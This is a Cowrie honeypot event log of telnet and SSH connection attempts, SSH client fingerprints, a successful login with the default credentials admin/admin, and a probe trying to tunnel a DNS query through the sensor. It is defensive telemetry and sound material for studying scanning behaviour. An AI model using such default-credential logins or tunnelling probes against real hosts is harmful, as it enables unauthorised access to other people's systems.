{"eventid":"cowrie.session.closed","duration":37.72691822052002,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:46.170981Z","src_ip":"45.58.127.90","session":"a5db0c20b3ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.4082133769989,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:51.101819Z","src_ip":"45.58.127.90","session":"5044ede9afff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.375460147857666,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:19:51.372216Z","src_ip":"45.58.127.90","session":"aa9ead6499ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56028,"dst_ip":"10.17.0.5","dst_port":23,"session":"a45c7cc6482c","protocol":"telnet","message":"New connection: 45.58.127.90:56028 (10.17.0.5:23) [session: a45c7cc6482c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:00.405302Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53870,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d7a4fbb0cca","protocol":"telnet","message":"New connection: 147.182.143.59:53870 (159.203.135.109:23) [session: 2d7a4fbb0cca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:01.678390Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53864,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5988193e930","protocol":"telnet","message":"New connection: 147.182.143.59:53864 (159.203.135.109:23) [session: e5988193e930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:04.114200Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":53880,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf195a327815","protocol":"telnet","message":"New connection: 147.182.143.59:53880 (159.203.135.109:23) [session: cf195a327815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:05.873261Z"}
{"eventid":"cowrie.session.closed","duration":13.102341890335083,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:14.780620Z","src_ip":"147.182.143.59","session":"2d7a4fbb0cca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.69245195388794,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:14.806525Z","src_ip":"147.182.143.59","session":"e5988193e930","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.028083801269531,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:14.901229Z","src_ip":"147.182.143.59","session":"cf195a327815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":41154,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d851afe3c16","protocol":"telnet","message":"New connection: 45.58.127.90:41154 (10.17.0.5:23) [session: 3d851afe3c16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:21.323762Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":51096,"dst_ip":"159.203.135.109","dst_port":23,"session":"e845fbda09f4","protocol":"telnet","message":"New connection: 147.182.143.59:51096 (159.203.135.109:23) [session: e845fbda09f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:28.192463Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":49792,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1017b57a42d","protocol":"telnet","message":"New connection: 45.58.127.90:49792 (10.17.0.5:23) [session: e1017b57a42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:36.481396Z"}
{"eventid":"cowrie.session.closed","duration":38.00859618186951,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:38.413790Z","src_ip":"45.58.127.90","session":"a45c7cc6482c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":17.376394748687744,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:20:45.568727Z","src_ip":"147.182.143.59","session":"e845fbda09f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":39940,"dst_ip":"159.203.135.109","dst_port":23,"session":"8cb713184781","protocol":"telnet","message":"New connection: 147.182.143.59:39940 (159.203.135.109:23) [session: 8cb713184781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:02.301537Z"}
{"eventid":"cowrie.session.closed","duration":41.91417860984802,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:03.237827Z","src_ip":"45.58.127.90","session":"3d851afe3c16","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":53758,"dst_ip":"10.17.0.5","dst_port":23,"session":"b097c17800d9","protocol":"telnet","message":"New connection: 45.58.127.90:53758 (10.17.0.5:23) [session: b097c17800d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:13.429101Z"}
{"eventid":"cowrie.session.closed","duration":39.50672936439514,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:15.987997Z","src_ip":"45.58.127.90","session":"e1017b57a42d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34350,"dst_ip":"159.203.135.109","dst_port":23,"session":"35725f15b3bd","protocol":"telnet","message":"New connection: 147.182.143.59:34350 (159.203.135.109:23) [session: 35725f15b3bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:36.246810Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":34362,"dst_ip":"159.203.135.109","dst_port":23,"session":"79bf867471b3","protocol":"telnet","message":"New connection: 147.182.143.59:34362 (159.203.135.109:23) [session: 79bf867471b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:36.341621Z"}
{"eventid":"cowrie.session.closed","duration":8.51222848892212,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:44.758932Z","src_ip":"147.182.143.59","session":"35725f15b3bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.139","src_port":60099,"dst_ip":"159.203.135.109","dst_port":22,"session":"b859258ae77d","protocol":"ssh","message":"New connection: 64.62.197.139:60099 (159.203.135.109:22) [session: b859258ae77d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:46.295794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:46.301141Z","src_ip":"64.62.197.139","session":"b859258ae77d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:46.420581Z","src_ip":"64.62.197.139","session":"b859258ae77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.340189933776855,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:47.681682Z","src_ip":"147.182.143.59","session":"79bf867471b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:50.296607Z","src_ip":"64.62.197.139","session":"b859258ae77d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.92920398712158,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:51.358185Z","src_ip":"45.58.127.90","session":"b097c17800d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.63.236.79","src_port":51440,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb723b5e9c61","protocol":"telnet","message":"New connection: 213.63.236.79:51440 (159.203.135.109:23) [session: bb723b5e9c61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:55.267383Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":40004,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7bf95a27be5","protocol":"telnet","message":"New connection: 45.58.127.90:40004 (10.17.0.5:23) [session: f7bf95a27be5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:21:55.521542Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15802,"dst_ip":"10.17.0.5","dst_port":22,"session":"25c995730022","protocol":"ssh","message":"New connection: 87.251.64.176:15802 (10.17.0.5:22) [session: 25c995730022]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:01.068339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:01.074608Z","src_ip":"87.251.64.176","session":"25c995730022","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:01.172063Z","src_ip":"87.251.64.176","session":"25c995730022","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:01.467371Z","src_ip":"87.251.64.176","session":"25c995730022","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:01.569165Z","session":"25c995730022","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:01.670653Z","src_ip":"87.251.64.176","session":"25c995730022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:02.055798Z","src_ip":"87.251.64.176","session":"25c995730022","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.79134654998779,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:03.092752Z","src_ip":"147.182.143.59","session":"8cb713184781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52578,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d148b728108","protocol":"telnet","message":"New connection: 45.58.127.90:52578 (10.17.0.5:23) [session: 3d148b728108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:14.932814Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52574,"dst_ip":"10.17.0.5","dst_port":23,"session":"905f2ff38d5d","protocol":"telnet","message":"New connection: 45.58.127.90:52574 (10.17.0.5:23) [session: 905f2ff38d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:15.638280Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33728,"dst_ip":"159.203.135.109","dst_port":23,"session":"2803b095809e","protocol":"telnet","message":"New connection: 147.182.143.59:33728 (159.203.135.109:23) [session: 2803b095809e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:15.822524Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":50758,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f30b093d3f1","protocol":"ssh","message":"New connection: 194.59.206.2:50758 (159.203.135.109:22) [session: 9f30b093d3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:17.432593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:17.438607Z","src_ip":"194.59.206.2","session":"9f30b093d3f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:17.525555Z","src_ip":"194.59.206.2","session":"9f30b093d3f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:17.618487Z","src_ip":"194.59.206.2","session":"9f30b093d3f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23677372932434,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:26.504051Z","src_ip":"213.63.236.79","session":"bb723b5e9c61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.94739055633545,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:26.769696Z","src_ip":"147.182.143.59","session":"2803b095809e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.976053953170776,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:40.497476Z","src_ip":"45.58.127.90","session":"f7bf95a27be5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33660,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc6408d1064f","protocol":"telnet","message":"New connection: 147.182.143.59:33660 (159.203.135.109:23) [session: fc6408d1064f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:41.201372Z"}
{"eventid":"cowrie.session.closed","duration":36.66346049308777,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:52.301632Z","src_ip":"45.58.127.90","session":"905f2ff38d5d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.02521824836731,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:54.226454Z","src_ip":"147.182.143.59","session":"fc6408d1064f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58708,"dst_ip":"10.17.0.5","dst_port":23,"session":"610ea4e314ac","protocol":"telnet","message":"New connection: 45.58.127.90:58708 (10.17.0.5:23) [session: 610ea4e314ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:54.448995Z"}
{"eventid":"cowrie.session.closed","duration":40.75738024711609,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:55.690028Z","src_ip":"45.58.127.90","session":"3d148b728108","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":58724,"dst_ip":"10.17.0.5","dst_port":23,"session":"349585b9d5a6","protocol":"telnet","message":"New connection: 45.58.127.90:58724 (10.17.0.5:23) [session: 349585b9d5a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:22:56.010943Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.145.131.43","src_port":55256,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9aac2ecf718","protocol":"telnet","message":"New connection: 49.145.131.43:55256 (159.203.135.109:23) [session: c9aac2ecf718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:01.492924Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":54378,"dst_ip":"159.203.135.109","dst_port":22,"session":"dde8537fe33c","protocol":"ssh","message":"New connection: 47.239.15.75:54378 (159.203.135.109:22) [session: dde8537fe33c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:08.531491Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:08.539423Z","src_ip":"47.239.15.75","session":"dde8537fe33c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39890,"dst_ip":"10.17.0.5","dst_port":23,"session":"91e8306028ff","protocol":"telnet","message":"New connection: 45.58.127.90:39890 (10.17.0.5:23) [session: 91e8306028ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:10.979322Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T14:23:11.309912Z","src_ip":"47.239.15.75","session":"dde8537fe33c","protocol":"ssh"}
